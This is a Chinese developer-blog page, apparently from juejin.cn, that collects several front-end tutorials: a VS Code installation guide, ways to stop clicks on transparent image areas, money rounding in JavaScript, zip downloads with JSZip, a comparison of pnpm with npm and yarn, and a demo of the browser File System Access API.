点击【Download】进入下载,不要点击【Download for Windows Stable Build】,否则它会自动帮你下载User Installer用户版本。

Description

  • 【Stable】:稳定版本,比较稳定。

  • 【Insiders】:测试版本,添加了一些新东西,还在测试中,可能会存在一些Bug,不怎么稳定。

2、然后你会看见Windows,Linux,苹果三个版本,我们选择Windows版本,选择System Installer 点击【x64】进行下载,不要点击【↓ Windows windows8,10,11】,否则它也会自动默认下载User Installer用户版本。

Description

  • 【User Installer】:用户安装程序,VScode安装在你电脑当前账户的目录上,如果你换了一个其他账户登录你的电脑,那么你就用不了之前那个账户下载的VScode了。

  • 【System Installer】:系统安装程序,VScode不会安装在你电脑的当前账户上,而是直接安装在系统上,所有账户都可以使用。

其实选哪个版本都无伤大雅,就算你下载了【User Installer】版本也没事,因为没人会没事把自己电脑上的账户换成其他人的账户登录,就算换了也可以换回来,只是有时候特殊情况换了个账户登录不能使用就有一点麻烦,所以还是推荐尽量下载【System Installer】版本。

【x86】:32位操作系统。【x64】:64位操作系统,如果想知道自己是什么系统,可以敲击Win键找到“设置”→“系统”→“关于”→“系统类型”。

Description

3、正在下载

Description

这个下载会比较慢,如果不想等可直接去找个别人下好的安装包哦!也可找小编领取。

4、下载完后打开文件,会弹出许可协议弹窗,勾选我同意此协议,单击【下一步】。

Description

5、先去D盘里创建一个新文件夹取名叫“VScode”,点击【浏览】按钮修改安装路径,把路径改到刚刚在D盘里创建的VScode文件夹里。如果觉得麻烦也可以直接默认安装在C盘,然后单击【下一步】,但还是建议安装在D盘里。

Description

6、修改完路径后,单击【下一步】。(安装路径是这个样子D:\VScode\Microsoft VS Code)

Description

7、选择开始菜单文件夹,默认"Visual Studio Code",单击【下一步】。

Description

8、根据自己的需求进行勾选,勾选完单击【下一步】。

Description
【创建桌面快捷方式】:在桌面创建VScode快捷方式。

【将“通过Code打开”操作添加到Windows资源管理器文件上下文菜单】:选中一个文件鼠标右键可以通过VScode打开文件。

【将“通过Code打开”操作添加到Windows资源管理器目录上下文菜单】:选中一个文件夹鼠标右键可以通过VScode打开文件夹。

【将Code注册为受支持的文件类型的编辑器】:对于受支持的文件类型的文件,鼠标右键选择“打开方式”,可以通过“Vscode”打开。

Description

【添加到PATH】:添加VScode文件夹里的bin目录到PATH环境变量里,添加完以后可通过系统命令输入code直接启动VScode。

Description

9、单击【安装】进行安装。
Description

10、安装完成后单击【完成】启动。
Description

三、VS code配置

插件下载完之后,大家可以根据自己的需求下载插件,这里推荐我用的比较顺手的几个。

1、下载汉化包

点击扩展,在搜索栏搜索Chinese,选择Chinese中文简体点击【Install】进行安装。(建议少用,多看英文,这是一位优秀的程序员走向成功的标志性成长。)

Description

安装完后单击【Change Language and Restart】重启VScode软件,刷新一下就变成中文简体了。
Description

2、下载【会了吧】

插件在搜索栏里搜索【会了吧】,这个是在你敲代码时会自动识别你敲的单词进行翻译,如果你有一个单词不认识,可以点进“会了吧”看看翻译,对英语基础差的人很友好。

Description

3、下载【Open in browser】插件

这个是用来运行代码,并且在浏览器打开,查看运行效果的,这个插件必须下,否则当你写完HTML网页时你无法运行,无法预览页面,不信你可以先试试能不能运行再回来下载。

Description

4、下载【Live Server】插件

这个是用于实时预览运行效果,当你使用open in browser运行代码时,只要你的代码有改变,你就需要手动刷新重新预览页面运行结果,而Live Server是自动刷新运行结果,非常方便,非常滴银性!

Description

想要快速入门前端开发吗?推荐一个前端开发基础课程,这个老师讲的特别好,零基础学习无压力,知识点结合代码,边学边练,可以免费试看试学,还有各种辅助工具和资料,非常适合新手!

点这里前往学习哦!

四、用VScode编写HTML代码

1、先去D盘里创建一个新文件夹取名叫“Workspace”(名字随便取名)。

Description

2、进入VScode找到左上角的文件选择点击打开文件夹。

Description

3、找到刚刚创建的“workspace”文件夹,单击【选择文件夹】。

Description

4、找到WORKSPACRE,点击新建文件,名字输入“01.html”,然后点击回车键创建。

Description

5、在刚刚创建的01.html文件下输入以下代码。

<!DOCTYPE html>
<html>
   <head>
       <meta charest="utf-8">
       <title>HTML</title>
   </head>
   <body>
       <h1>这是我的第一个网页</h1>
   </body></html>

Description

6、鼠标右击空白处单击【Open In Default Browser】查看运行结果。

Description

7、运行结果如下。

Description

以上就是常用的前端开发工具VS code的下载和安装教程了,你的第一个HTML网页运行成功了吗?

一个高效的HTML开发工具和环境是每个前端开发者的得力助手。通过合理选择工具、配置环境、使用框架和库、以及不断的调试和测试,你可以将创意转化为现实,构建出令人惊叹的网页。记住,技术永远在变,唯有不断学习和实践,才能让你在这个数字世界中游刃有余。

收起阅读 »

网页空白区域消除点击的方法

web
一、前言 现在开发前端,总会遇到一些奇奇怪怪的形状,比如要求这个图标是个三角形(或者其他不规整的情况)。 大多数情况就是ui直接给了图,我们当背景引入,但是呢,我们的元素是一个矩形区域,这个时候如果绑定了点击事件之类的,透明的部分也会被绑定到。 一般来说是不会...
继续阅读 »

一、前言


现在开发前端,总会遇到一些奇奇怪怪的形状,比如要求这个图标是个三角形(或者其他不规整的情况)。


大多数情况就是ui直接给了图,我们当背景引入,但是呢,我们的元素是一个矩形区域,这个时候如果绑定了点击事件之类的,透明的部分也会被绑定到。


一般来说是不会有什么大问题,但耐不住测试跟你较真啊,这个空白区域怎么也能点击?bugbug,都是bug,回炉重造。


所以今天就来盘点盘点下,空白区域消除点击的方法。


二、方案


1、cilp-path属性


看过我之前的文章# clip-path属性深入使用的朋友们都知道,cilp-path是一个灵活度非常高的属性,让我们打破了盒子模型,可以自由撰写多边形。


这里我们简单用下里面的circle属性


clip-path: circle(40px at 50% 50%);


直接在网页上修改样式,可以看到百度的按钮变成了椭圆形,而原本周围可点击的部分,也无法点击了。(border-radius也可以做到类似效果)


QQ图片20230430164354.png


这里只是简单检验一下效果,一般而言用得到的clip-path是polygon多边形属性。


2、html5原生标签map和area


这里我们还是沿用这个w3school的例子,老经典了。


引入了一张图,或者其他元素吧,设置usemap为#workmap,然后后面跟map标签,name要对得上。


里面用area划分区域,shape确定形状,然后coords界定具体范围,然后就可以绑定各自的事件了。


<img src="workplace.jpg" alt="Workplace" usemap="#workmap" width="400" height="379"> 
<map name="workmap">
<area shape="rect" coords="34,44,270,350" alt="Computer" href="computer.htm">
<area shape="rect" coords="290,172,333,250" alt="Phone" href="phone.htm">
<area shape="circle" coords="337,300,44" alt="Cup of coffee" href="coffee.htm">
</map>

QQ图片20230430142008.png


画面中有电脑手机咖啡等等物品,我们创建了map容器,指向了这张图,同时创建了3个area区域,分别划分范围,实现不同的事件触发。


换个思路就是,我们画出非空白部分,给其绑定事件,空白区域就不绑定事件就可以了。


3、利用伪元素或其他元素


思路就是,利用伪元素或者其他元素,写出一块和空白区域一样大小的dom,叠在空白区域上面,也可以实现效果。


不过就是有点费时费力,如果遇到的是比较复杂的图形的话。


4、图片透明部分不可点击,实体部分可点击


思路:用canvas画一个同等大小、同一位置的图片,叠上去。用canvas固有方法判断点击位置是否透明。


QQ图片20230430222322.png


其中的ctx.getImageData就是用来取色的,通过判断透明度来决定触不触发事件。


var ctx = c.getContext("2d");


var imgdata = ctx.getImageData(x, y, 1, 1);

console.log("点击位置的全部颜色数据[r,g,b,a]", imgdata.data);

console.log("点击位置的透明度颜色数据(0~255,0代表完全透明,255代表完全不透明) value:", imgdata.data[3]);

三、个人推荐


复杂区域推荐用方案一、方案二


简单区域可以用方案三


方案四的话,操作起来比较麻烦,如果空白区域太复杂的话,也可以试一试。


ps: 我是地霊殿__三無, 51小水一波。


Snipaste_2022-07-19_15-30-26.jpg


作者:地霊殿__三無
来源:juejin.cn/post/7228692613036081189
收起阅读 »

产品经理:优惠金额只入不舍,支付金额只舍不入...

web
前言 当前做的项目是一个售卖会员的平台。其中涉及到优惠券、支付金额等。 优惠券分为:折扣券(n折)、抵扣券(减x元) 需求 优惠金额、支付金额都需要保留两位小数。 优惠金额只入不舍,比如18.811元,显示为:18.82元。这样看起来,优惠的相对多一些 支付金...
继续阅读 »

前言


当前做的项目是一个售卖会员的平台。其中涉及到优惠券、支付金额等。

优惠券分为:折扣券(n折)、抵扣券(减x元)


需求


优惠金额、支付金额都需要保留两位小数。

优惠金额只入不舍,比如18.811元,显示为:18.82元。这样看起来,优惠的相对多一些

支付金额只舍不入,比如18.888元,显示为:18.88元。

从产品角度来讲,这个设计相当人性化。


实现


/**
* 金额计算
* @param {number} a sku原始价格
* @param {number} b 优惠券金额/折扣
* @param {string} mathFunc 四舍五入:round/ceil/floor
* @param {string} type 计算方式默认减法
* @param {digits} type 精度,默认两位小数
* */

export function numbleCalc(a, b,mathFunc='round', type = '-',digits=2) {

var getDecimalLen = num =>{
return num.toString().split('.')[1] ? num.toString().split('.')[1].length : 0;
}
//将小数按照一定的倍数转换成整数数
var floatToInt = (num,numlen,maxlen)=>{
var numInt = num.toString().replace('.', '');
if(numlen==maxlen)return +numInt;
return numInt * (10**(maxlen-numlen))
}


var c;
//获取2个数字中,最长的小数位数
var aLen = getDecimalLen(a);
var bLen = getDecimalLen(b);
var decimalLen = aLen>bLen?aLen:bLen;
var mul = decimalLen>0?(10 ** decimalLen):1;

//转换成整数
var aInteger = floatToInt(a,aLen,decimalLen)
var bInteger = floatToInt(b,bLen,decimalLen)


if(type=='-'){
c = (aInteger - bInteger)/mul;
}else if(type=='*'){
c = aInteger * bInteger/mul/mul;
}

c = digits==0?c : c * (10 ** digits);

if(mathFunc=='floor'){
c= Math.floor(c);
}else if(mathFunc=='ceil'){
c= Math.ceil(c);
}else {
c= Math.round(c);
}
return digits==0?c : c/(10**digits);
}



整体思路:获取两个数字之间最大的小数位,先取整再计算。
不直接进行计算,是因为存在0.1+0.2!=0.3的情况,具体原因可以看下文章下方的参考链接,写的很详细。




  • Math.ceil()  总是向上舍入,并返回大于等于给定数字的最小整数。

  • Math.floor()  函数总是返回小于等于一个给定数字的最大整数。

  • Math.round() 四舍五入


【重点】小数位取整:我之前的写法原来是错误的


image.png
我一直以来也是这种形式,预想的是直接乘100变成整数,但是出现了以下情况


19.9 * 100 = 1989.9999999999998
5.02 * 100 = 501.99999999999994

可以看到,出现了意料之外的结果!!

最后采用的方案是:将小数转成字符串,再将小数点替换成空格


//将小数按照一定的倍数转换成整数数
var floatToInt = (num,numlen,maxlen)=>{
var numInt = num.toString().replace('.', '');
if(numlen==maxlen)return +numInt;
return numInt * (10**(maxlen-numlen))
}

总结


省流:将小数点替换成空格,变成整数,再进行相应计算。

封装的这个函数,只考虑了当前业务场景,未兼容一些边界值情况。



  • 大金额计算问题

  • 计算方式:加法、除法未做处理


参考


# 前端金额运算精度丢失问题及解决方案


作者:前端大明
来源:juejin.cn/post/7341210909069770792
收起阅读 »

纯前端就可以实现的两个需求

web
一:多文件下载并压缩成zip形式   我们一般看到这个需求,大多前端都会觉得这不就是一个接口的事嘛,咱们直接window.open()就搞定了,emm...,我之前也是这样想的,可惜现在是在三线城市的小互联网公司,人家后端说服务器不行,带宽不够,出不来接口0....
继续阅读 »

一:多文件下载并压缩成zip形式


  我们一般看到这个需求,大多前端都会觉得这不就是一个接口的事嘛,咱们直接window.open()就搞定了,emm...,我之前也是这样想的,可惜现在是在三线城市的小互联网公司,人家后端说服务器不行,带宽不够,出不来接口0.0,所以我就尝试着寻找……最终找到了解决办法——


  前端可以直接从cos资源服务器中下载多个文件,并放进压缩包中哦,这样就省去了后端在中间中转的那个环节,实现方式如下:


1.安装依赖


  我们需要用到两个第三方依赖哦,分别执行以下安装


npm i jszip
npm i file-saver

2.引入 


  在需要使用的时候,我们引入


import JSZip from "jszip";
import FileSaver from "file-saver";

3.实现过程


  我这里是在vue框架中,所以方法是在methods中哦,先在data里声明一个文件demo数据


data () {
return {
fileList: [ //这里的数据 实际中 应该是从后端接口中get { name: "test1.doc", url: "https://collaboration-pat-1253575580.cos.ap-shenzhen-fsi.myqcloud.com/baseFile/202303/bdf4303f-4e8d-4d95-977c-4fd5ef28d354/new.doc" }, { name: "test2.doc", url:"https://collaboration-pat-1253575580.cos.ap-shenzhen-fsi.myqcloud.com/baseFile/202303/bdf4303f-4e8d-4d95-977c-4fd5ef28d354/new.doc" } ],
}
}

methods中的方法:


handleClickDownAll () { //实现多文件压缩包下载
let _this = this
let zip = new JSZip()
let cache = {}
let promises = []
for(let item of this.fileList) {
const promise = _this.getFileArrBuffer(item.url).then(res => {
//下载文件, 并存成ArrayBuffer对象(blob)
zip.file(item.name,res,{binary:true}) //逐个添加文件
cache[item.name] = data
})
promises.push(promise) }
Promese.all(promises).then(() => {
zip.generateAsync({type:'blob'}).then(content => {
FileSaver.saveAs(content,"压缩包名字") //利用file-saver保存文件 自定义文件名
})
})
},
getFileArrBuffer(url) {
return new Promise((resolve) => {
let xmlhttp = new XMLHttpRequest()
xmlhttp.open('GET',url,true)
xmlhttp.responseType = 'blob'
xml.onload = function () {
resolve(this.response)
}
xmlhttp.send()
})
}

二:electron-vue中,生成二维码,并支持复制二维码图片


要实现的功能如下,就是点击这个“复制二维码”,可以直接把二维码图片复制下来



1.安装依赖


npm i qrcodejs2

2.引入


import QRCode from 'qrcodejs2';
import { clipboard, nativeImage} = require('electron')

3.实现


  要先在template中写一个这样的元素,用来显示二维码图片框


<div id="qrcodeImg" class="qrcode" style="height: 120px"></div>

然后再写一个画二维码的方法,如下:


drawQrcode() {
new QRCode("qrcodeImg",{
width:120,
height:120,
text:"http://www.baidu.com",
colorDark:"#000",
colorLight:"#fff"
})
}

复制二维码的方法如下:


copyCode() {
let src = document.getElementById("qrcodeImg").getElementsByTagName("img")[0].src
const image = nativeImage.createFromDataURL(src)
clipboard.writeImage(image)
this.$Message.success('复制成功')
}

4.使用


要先确保dom元素已经有了,所以在mounted中调用drawQrcode()这个方法,然后点击“复制二维码”时,调用 copyCode()这个方法就可以实现啦




作者:wenLi
来源:juejin.cn/post/7213983712732348474
收起阅读 »

下一代 Node.js?运行速度狂飙 10 倍!!!

web
【💥 重磅新闻 💥】JavaScript 服务端运行时环境又出新秀,LLRT 来势汹汹!🌟 嘿,各位 JavaScript 开发者们,你们知道吗?最近有个叫 LLRT 的新运行时环境火了起来,据说速度比 Node.js 快了 10 倍!🏎️ 前有 Deno,后...
继续阅读 »

【💥 重磅新闻 💥】JavaScript 服务端运行时环境又出新秀,LLRT 来势汹汹!🌟


嘿,各位 JavaScript 开发者们,你们知道吗?最近有个叫 LLRT 的新运行时环境火了起来,据说速度比 Node.js 快了 10 倍!🏎️


前有 Deno,后有 Bun,现在又来了个 LLRT,Node.js 这些年的日子可真是“不是被超越就是在被超越的路上”啊!😅


那么问题来了,你觉得 LLRT 的出现会对 Node.js 造成威胁吗?


什么是 LLRT


LLRT(低延迟运行时)是亚马逊推出的一种轻量级 JavaScript 运行时。旨在满足对快速高效的无服务器应用程序不断增长的需求。


LLRT 优势:



  • 🔥 不使用 V8 引擎,而是采用 Rust 构建,确保高效内存使用。就像给应用程序装了涡轮增压器,速度瞬间飙升!💨

  • 🔥 使用 QuickJS 作为 JavaScript 引擎,快速启动不是梦!就像闪电一样快,让你的应用程序瞬间响应!⚡


如下所示 LLRT 和 Node.js 20 运行速度对比,可以看出


LLRT - DynamoDB Put, ARM, 128MB:
llrt-ddb-put


Node.js 20 - DynamoDB Put, ARM, 128MB:
node20-ddb-put


LLRT 兼容性



LLRT 仅支持一小部分 Node.js API。它不是 Node.js 的替代品,也永远不会是。下面是部分支持的 API 和模块的高级概述。有关更多详细信息,请参阅 API 文档:github.com/awslabs/llr…



Node.jsLLRT ⚠️
buffer✔︎✔︎️
streams✔︎✔︎*
child_process✔︎✔︎⏱
net:sockets✔︎✔︎⏱
net:server✔︎✔︎
tls✔︎✘⏱
fetch✔︎✔︎
http✔︎✘⏱**
https✔︎✘⏱**
fs/promises✔︎✔︎
fs✔︎✘⏱
path✔︎✔︎
timers✔︎✔︎
uuid✔︎✔︎
crypto✔︎✔︎
process✔︎✔︎
encoding✔︎✔︎
console✔︎✔︎
events✔︎✔︎
ESM✔︎✔︎
CJS✔︎✔︎
async/await✔︎✔︎
Other modules✔︎

LLRT 能否替代 Node.js


LLRT 的出现确实对 Node.js 构成了一定程度的挑战,但这并不意味着 Node.js 会立即被淘汰。


事实上,Node.js 在许多方面仍然具有优势,例如生态系统的庞大规模、广泛的社区支持和大量的现有项目。此外,Node.js 作为一个成熟的运行时环境,已经积累了大量的功能和模块,这些在 LLRT 中可能尚未实现。


然而,LLRT 的出现确实为 JavaScript 服务端运行时环境带来了新的选择。对于那些对性能有较高要求、需要快速启动低内存占用的项目,LLRT 可能是一个更好的选择。


总之,LLRT 的出现对 Node.js 构成了一定程度的挑战,但这并不意味着 Node.js 会立即被淘汰。开发者可以根据项目需求和场景来选择最适合的运行时环境。


参考连接:






作者:前端开发爱好者
来源:juejin.cn/post/7342153878065135667
收起阅读 »

pnpm才是前端工程化项目的未来

web
前言 相信小伙伴们都接触过npm/yarn,这两种包管理工具想必是大家工作中用的最多的包管理工具,npm作为node官方的包管理工具,它是随着node的诞生一起出现在大家的视野中,而yarn的出现则是为了解决npm带来的诸多问题,虽然yarn提高了依赖包的安装...
继续阅读 »

前言


相信小伙伴们都接触过npm/yarn,这两种包管理工具想必是大家工作中用的最多的包管理工具,npm作为node官方的包管理工具,它是随着node的诞生一起出现在大家的视野中,而yarn的出现则是为了解决npm带来的诸多问题,虽然yarn提高了依赖包的安装速度与使用体验,但它依旧没有解决npm的依赖重复安装等致命问题。pnpm的出现完美解决了依赖包重复安装的问题,并且实现了yarn带来的所有优秀体验,所以说pnpm才是前端工程化项目的未来


如果这篇文章有帮助到你,❤️关注+点赞❤️鼓励一下作者,文章公众号首发,关注 前端南玖 第一时间获取最新文章~


npm 与 yarn 存在的问题


早期的npm


在npm@3之前,node_modules结构可以说是整洁可预测的,因为当时的依赖结构是这样的:


node_modules 
└─ 依赖A
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
└─ package.json
└─ 依赖C
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
└─ package.json

每个依赖下面都维护着自己的node_modules,这样看起来确实非常整洁,但同时也带来一些较为严重的问题:



  • 依赖包重复安装

  • 依赖层级过多

  • 模块实例无法共享


依赖包重复安装


从上面的依赖结构我们可以看出,依赖A与依赖C同时引用了依赖B,此时的依赖B会被下载两次。此刻我们想想要是某一个依赖被引用了n次,那么它就需要被下载n次。(此时心里是不是在想,怎么会有如此坑的设计)


01203040_0.jpeg


依赖层级过多


我们再来看另外一种依赖结构:


node_modules 
└─ 依赖A
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖C
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖D
├─ index.js
└─ package.json

这种依赖层级少还能接受,要是依赖层级多了,这样一层一层嵌套下去,就像一个依赖地狱,不利于维护。


npm@3与yarn


为了解决上述问题,npm3yarn都选择了扁平化结构,也就是说现在我们看到的node_modules里面的结构不再有依赖嵌套了,都是如下依赖结构:


node_modules 
└─ 依赖A
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖C
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
├─ package.json
└─ node_modules

node_modules下所有的依赖都会平铺到同一层级。由于require寻找包的机制,如果A和C都依赖了B,那么A和C在自己的node_modules中未找到依赖C的时候会向上寻找,并最终在与他们同级的node_modules中找到依赖包C。 这样就不会出现重复下载的情况。而且依赖层级嵌套也不会太深。因为没有重复的下载,所有的A和C都会寻找并依赖于同一个B包。自然也就解决了实例无法共享数据的问题


由于这个扁平化结构的特点,想必大家都遇到了这样的体验,自己明明就只安装了一个依赖包,打开node_modules文件夹一看,里面却有一大堆。


nz2.jpeg


这种扁平化结构虽然是解决了之前的嵌套问题,但同时也带来了另外一些问题:



  • 依赖结构的不确定性

  • 扁平化算法的复杂度增加

  • 项目中仍然可以非法访问没有声明过的依赖包(幽灵依赖)


依赖结构的不确定性


这个怎么理解,为什么会产生这种问题呢?我们来仔细想想,加入有如下一种依赖结构:


依赖1.png


A包与B包同时依赖了C包的不同版本,由于同一目录下不能出现两个同名文件,所以这种情况下同一层级只能存在一个版本的包,另外一个版本还是要被嵌套依赖。


那么问题又来了,既然是要一个扁平化一个嵌套,那么这时候是如何确定哪一个扁平化哪一个嵌套的呢?


依赖2.png


这两种结构都有可能,准确点说哪个版本的包被提升,取决于包的安装顺序!


这就是为什么会产生依赖结构的不确定问题,也是 lock 文件诞生的原因,无论是package-lock.json(npm 5.x 才出现)还是yarn.lock,都是为了保证 install 之后都产生确定的node_modules结构。


尽管如此,npm/yarn 本身还是存在扁平化算法复杂package 非法访问的问题,影响性能和安全。


pnpm


前面说了那么多的npmyarn的缺点,现在再来看看pnpm是如何解决这些尴尬问题的。


什么是pnpm



快速的,节省磁盘空间的包管理工具



就这么简单,说白了它跟npmyarn没有区别,都是包管理工具。但它的独特之处在于:



  • 包安装速度极快

  • 磁盘空间利用非常高效


特性


安装包速度快


p1.png


从上图可以看出,pnpm的包安装速度明显快于其它包管理工具。那么它为什么会比其它包管理工具快呢?


我们来可以来看一下各自的安装流程



  • npm/yarn


npm&yarn.png



  1. resolving:首先他们会解析依赖树,决定要fetch哪些安装包。

  2. fetching:安装去fetch依赖的tar包。这个阶段可以同时下载多个,来增加速度。

  3. wrting:然后解压包,根据文件构建出真正的依赖树,这个阶段需要大量文件IO操作。



  • pnpm


pnpm.png


上图是pnpm的安装流程,可以看到针对每个包的三个流程都是平行的,所以速度会快很多。当然pnpm会多一个阶段,就是通过链接组织起真正的依赖树目录结构。


磁盘空间利用非常高效


pnpm 内部使用基于内容寻址的文件系统来存储磁盘上所有的文件,这个文件系统出色的地方在于:



  • 不会重复安装同一个包。用 npm/yarn 的时候,如果 100 个项目都依赖 lodash,那么 lodash 很可能就被安装了 100 次,磁盘中就有 100 个地方写入了这部分代码。但在使用 pnpm 只会安装一次,磁盘中只有一个地方写入,后面再次使用都会直接使用 hardlink

  • 即使一个包的不同版本,pnpm 也会极大程度地复用之前版本的代码。举个例子,比如 lodash 有 100 个文件,更新版本之后多了一个文件,那么磁盘当中并不会重新写入 101 个文件,而是保留原来的 100 个文件的 hardlink,仅仅写入那一个新增的文件


支持monorepo


pnpm 与 npm/yarn 另外一个很大的不同就是支持了 monorepo,pnpm内置了对monorepo的支持,只需在工作空间的根目录创建pnpm-workspace.yaml和.npmrc配置文件,同时还支持多种配置,相比较lerna和yarn workspace,pnpm解决monorepo的同时,也解决了传统方案引入的问题。



monorepo 的宗旨就是用一个 git 仓库来管理多个子项目,所有的子项目都存放在根目录的packages目录下,那么一个子项目就代表一个package



依赖管理


pnpm使用的是npm version 2.x类似的嵌套结构,同时使用.pnpm 以平铺的形式储存着所有的包。然后使用Store + Links和文件资源进行关联。简单说pnpm把会包下载到一个公共目录,如果某个依赖在 sotre 目录中存在了话,那么就会直接从 store 目录里面去 hard-link,避免了二次安装带来的时间消耗,如果依赖在 store 目录里面不存在的话,就会去下载一次。通过Store + hard link的方式,使得项目中不存在NPM依赖地狱问题,从而完美解决了npm3+和yarn中的包重复问题。


store.jpeg


我们分别用npmpnpm来安装vite对比看一下


npmpnpm
npm-demo.pngpnpm-demo.png
所有依赖包平铺在node_modules目录,包括直接依赖包以及其他次级依赖包node_modules目录下只有.pnpm和直接依赖包,没有其他次级依赖包
没有符号链接(软链接)直接依赖包的后面有符号链接(软链接)的标识

pnpm安装的vite 所有的依赖都软链至了 node_modules/.pnpm/ 中的对应目录。 把 vite 的依赖放置在同一级别避免了循环的软链。


软链接 和 硬链接 机制


pnpm 是通过 hardlink 在全局里面搞个 store 目录来存储 node_modules 依赖里面的 hard link 地址,然后在引用依赖的时候则是通过 symlink 去找到对应虚拟磁盘目录下(.pnpm 目录)的依赖地址。


这两者结合在一起工作之后,假如有一个项目依赖了 A@1.0.0B@1.0.0 ,那么最后的 node_modules 结构呈现出来的依赖结构可能会是这样的:


node_modules
└── A // symlink to .pnpm/A@1.0.0/node_modules/A
└── B // symlink to .pnpm/B@1.0.0/node_modules/B
└── .pnpm
├── A@1.0.0
│ └── node_modules
│ └── A -> /A
│ ├── index.js
│ └── package.json
└── B@1.0.0
└── node_modules
└── B -> /B
├── index.js
└── package.json

node_modules 中的 A 和 B 两个目录会软连接到 .pnpm 这个目录下的真实依赖中,而这些真实依赖则是通过 hard link 存储到全局的 store 目录中。


store


pnpm下载的依赖全部都存储到store中去了,storepnpm在硬盘上的公共存储空间。


pnpmstore在Mac/linux中默认会设置到{home dir}>/.pnpm-store/v3;windows下会设置到当前盘符的根目录下。使用名为 .pnpm-store的文件夹名称。


项目中所有.pnpm/依赖名@版本号/node_modules/下的软连接都会连接到pnpmstore中去。



作者:前端南玖
来源:juejin.cn/post/7239875883254300729
收起阅读 »

纯前端也可以访问文件系统!

web
前言 周末逛github的时候,发现我们只需要在github域名上加上1s他就能够打开一个vscode窗口来阅读代码,比起在github仓库中查看更加方便 然后我就想网页端vscode能不能打开我本地的项目呢,带着这个疑惑我打开了网页版vscode,它居然真...
继续阅读 »

前言


周末逛github的时候,发现我们只需要在github域名上加上1s他就能够打开一个vscode窗口来阅读代码,比起在github仓库中查看更加方便


vs0.png


然后我就想网页端vscode能不能打开我本地的项目呢,带着这个疑惑我打开了网页版vscode,它居然真的可以打开我本地的项目代码!


vs1.png


难道又出了新的API让前端的能力更进一步了?打开MDN查了一下相关文档,发现了几个新的API


showOpenFilePicker



用来选择文件



vs-f1.png


语法


showOpenFilePicker()

参数



  • options:(可选)包含以下属性

    • multiple:布尔值,默认为false。为true表示允许用户选择多个文件

    • excludeAcceptAllOption:布尔值,默认为false。默认情况下,文件选择器带有一个允许用户选择所有类型文件的过滤选项(展开于文件类型选项中)。设置此选项为 true 以使该过滤选项不可用。

    • types:表示允许选择的文件类型的数组




返回值


返回一个promise对象,会兑现一个包含 FileSystemFileHandle 对象的 Array 数组。


体验


<template>
<div class="open_file" @click="openFile">打开文件</div>
</template>

<script setup lang="ts">
const openFile = async () => {
const res = await window.showOpenFilePicker();
console.log(res);
};
</script>

默认只能打开一个文件,可以传入multiple:true打开多个文件


vs3.png


showDirectoryPicker



用来选择目录



vs2.png


语法


属于浏览器全局方法,直接调用即可


showDirectoryPicker()

参数



  • options:(可选)包含以下属性

    • multiple:布尔值,默认为false。为true表示允许用户选择多个文件

    • excludeAcceptAllOption:布尔值,默认为false。默认情况下,文件选择器带有一个允许用户选择所有类型文件的过滤选项(展开于文件类型选项中)。设置此选项为 true 以使该过滤选项不可用。

    • types:表示允许选择的文件类型的数组




返回值


返回一个promise对象,会兑现一个包含 FileSystemFileHandle 对象的 Array 数组。


体验


<template>
<div class="open_file" @click="openFile">打开文件</div>
<div class="open_file" @click="openDir">打开文件夹</div>
</template>

<script setup lang="ts">
const openFile = async () => {
const res = await window.showOpenFilePicker({
// multiple: true,
});
console.log(res.length);
};

const openDir = async () => {
const res = await window.showDirectoryPicker();
console.log(res);
};
</script>

vs4.png


扩展


FileSystemFileHandle


FileSystemFileHandle提供了一些方法可以用来获取和操作文件



  • getFile:返回一个Promise对象,用于获取文件;

  • createSyncAccessHandle:返回一个FileSystemSyncAccessHandle对象,用于同步访问文件;

  • createWritable:返回一个Promise对象,用于创建一个可写流,用于写入文件;


FileSystemDirectoryHandle


FileSystemDirectoryHandle对象是一个代表文件系统中的目录的对象,它同样提供了方法来获取和操作目录



  • entries:返回一个AsyncIterable对象,用于获取目录中的所有文件和目录;

  • keys:返回一个AsyncIterable对象,用于获取目录中的所有文件和目录的名称;

  • values:返回一个AsyncIterable对象,用于获取目录中的所有文件和目录的FileSystemHandle对象;

  • getFileHandle:返回一个Promise对象,用于获取目录中的文件;

  • getDirectoryHandle:返回一个Promise对象,用于获取目录中的目录;

  • removeEntry:返回一个Promise对象,用于删除目录中的文件或目录;

  • resolve:返回一个Promise对象,用于获取目录中的文件或目录;


entrieskeysvalues这三个方法都是用来获取目录中的所有文件和目录的,它们返回的都是一个AsyncIterable对象,我们可以通过for await...of语法来遍历它。


开发编辑器


了解完这些知识点,我们就可以来开发一个简陋网页版编辑器了,初期只包含打开文件、打开文件夹、查看文件、切换文件


编辑器大概长这样:


vs5.png


打开文件夹


const openDir = async () => {
const res = await window.showDirectoryPicker({});
const detalAction = async (obj: any) => {
if (obj.entries) {
const dirs = obj.entries();
for await (const entry of dirs) {
if (entry[1].entries) {
// 文件夹,递归处理
detalAction(entry[1]);
} else {
// 文件
fileList.value.push({
name: entry[0],
path: obj.name,
fileHandle: entry[1],
});
}
}
}
};
await detalAction(res);
showCode(fileList.value[0], 0);
console.log("--fileList--", fileList);
};

这里主要是递归处理文件夹,返回一个文件列表


读取文件内容


const showCode = async (item: any, index: number) => {
const file = await item.fileHandle.getFile();
const text = await file.text();
codeText.value = text;
currentIndex.value = index;
};

展示文件内容


使用highlight.js来高亮展示代码


<div class="show_code">
<pre v-highlight>
<code class="lang-dart">
{{ codeText }}
</code>
</pre>
</div>

最终效果如下:


vs6.gif


想不到吧,这种功能现在纯前端就能够实现了,当然还可以做的更复杂一点,包括修改保存等功能,保存可以使用showSaveFilePickerAPI,它可以写入文件,同样是返回一个promise。感兴趣的可以试着完善编辑器的功能。


作者:前端南玖
来源:juejin.cn/post/7277045020423045176
收起阅读 »

如果让你实现实时消息推送你会用什么技术?轮询、websocket还是sse

web
前言 在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。 本文介绍sse: 服务端向客户端推送数据的方式有哪几种呢? WebSocket SSE 长轮询 轮询简介 长轮询是一种模拟实时通...
继续阅读 »

前言


在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。
本文介绍sse:


image.png
服务端向客户端推送数据的方式有哪几种呢?



